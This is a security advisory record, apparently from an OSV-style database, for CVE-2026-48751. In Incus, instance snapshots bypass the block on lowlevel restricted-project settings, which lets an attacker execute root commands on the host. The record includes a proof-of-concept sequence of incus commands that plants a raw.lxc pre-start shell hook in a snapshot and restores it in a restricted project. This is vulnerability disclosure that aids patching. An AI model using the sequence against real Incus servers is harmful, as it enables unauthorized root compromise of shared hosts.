{"id":"GHSA-48q5-w887-33wv","revision":"b920fa4c8a6849bd978715320e0fad97","records":[{"revision":"b920fa4c8a6849bd978715320e0fad97","observedAt":"2026-11-06T11:13:14.598+00:00","statement":{"source":"osv","id":"GHSA-48q5-w887-33wv","aliases":["CVE-2026-48751","GO-2026-5799"],"title":"Incus has a restricted project bypass leading to arbitrary command execution","description":"### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c \"/bin/id >/lxc-hook-prestart\"'\nincus snapshot create rce-raw-lxc snap0\n#> allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.","state":0,"publishedAt":"2026-06-26T18:33:55+00:00","modifiedAt":"2026-11-06T10:57:01.3581916+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus/v7/cmd/incusd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g","https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv","https://nvd.nist.gov/vuln/detail/CVE-2026-48751","https://github.com/lxc/incus"],"sourceUrl":"https://github.com/advisories/GHSA-48q5-w887-33wv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-48q5-w887-33wv","identifiers":["GHSA-48q5-w887-33wv","CVE-2026-48751","GO-2026-5799"]},"retained":false,"historicalAffected":[]}],"coverage":[]}